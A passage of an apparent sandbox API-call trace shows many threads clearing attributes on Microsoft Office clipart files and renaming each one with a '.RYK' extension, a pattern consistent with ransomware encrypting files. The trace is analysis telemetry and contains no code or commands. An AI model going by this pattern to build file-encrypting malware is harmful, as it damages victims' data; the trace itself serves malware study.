	os_tid = 0x1af8

	[0232.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF", dwFileAttributes=0x80) returned 0
	[0233.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.201] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1329
	os_tid = 0x1afc

	[0232.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF", dwFileAttributes=0x80) returned 0
	[0233.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.203] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1330
	os_tid = 0x1b00

	[0232.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", dwFileAttributes=0x80) returned 0
	[0233.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1331
	os_tid = 0x1b04

	[0232.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", dwFileAttributes=0x80) returned 0
	[0233.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1332
	os_tid = 0x1b08

	[0232.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", dwFileAttributes=0x80) returned 0
	[0233.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1333
	os_tid = 0x1b0c

	[0232.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", dwFileAttributes=0x80) returned 0
	[0233.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1334
	os_tid = 0x1b10

	[0232.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", dwFileAttributes=0x80) returned 0
	[0233.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1335
	os_tid = 0x1b14

	[0232.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", dwFileAttributes=0x80) returned 0
	[0233.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1336
	os_tid = 0x1b18

	[0232.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", dwFileAttributes=0x80) returned 0
	[0233.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1337
	os_tid = 0x1b1c

	[0232.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", dwFileAttributes=0x80) returned 0
	[0233.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.195] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1338
	os_tid = 0x1b20

	[0232.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", dwFileAttributes=0x80) returned 0
	[0233.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1339
	os_tid = 0x1b24

	[0232.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", dwFileAttributes=0x80) returned 0
	[0233.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.211] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1340
	os_tid = 0x1b28

	[0232.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", dwFileAttributes=0x80) returned 0
	[0233.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.197] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1341
	os_tid = 0x1b2c

	[0232.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", dwFileAttributes=0x80) returned 0
	[0233.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1342
	os_tid = 0x1b30

	[0232.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", dwFileAttributes=0x80) returned 0
	[0233.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1343
	os_tid = 0x1b34

	[0232.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", dwFileAttributes=0x80) returned 0
	[0233.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1344
	os_tid = 0x1b38

	[0232.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", dwFileAttributes=0x80) returned 0
	[0233.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1345
	os_tid = 0x1b3c

	[0232.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", dwFileAttributes=0x80) returned 0
	[0233.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.254] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1346
	os_tid = 0x1b40

	[0232.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", dwFileAttributes=0x80) returned 0
	[0233.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1347
	os_tid = 0x1b44

	[0232.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", dwFileAttributes=0x80) returned 0
	[0233.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1348
	os_tid = 0x1b48

	[0232.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", dwFileAttributes=0x80) returned 0
	[0233.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1349
	os_tid = 0x1b4c

	[0232.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", dwFileAttributes=0x80) returned 0
	[0233.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1350
	os_tid = 0x1b50

	[0232.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", dwFileAttributes=0x80) returned 0
	[0233.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1351
	os_tid = 0x1b54

	[0232.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", dwFileAttributes=0x80) returned 0
	[0233.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1352
	os_tid = 0x1b58

	[0232.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", dwFileAttributes=0x80) returned 0
	[0233.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1353
	os_tid = 0x1b5c

	[0232.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", dwFileAttributes=0x80) returned 0
	[0233.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.243] CloseHandle (hObject=0xffffffffffffffff) returned 0
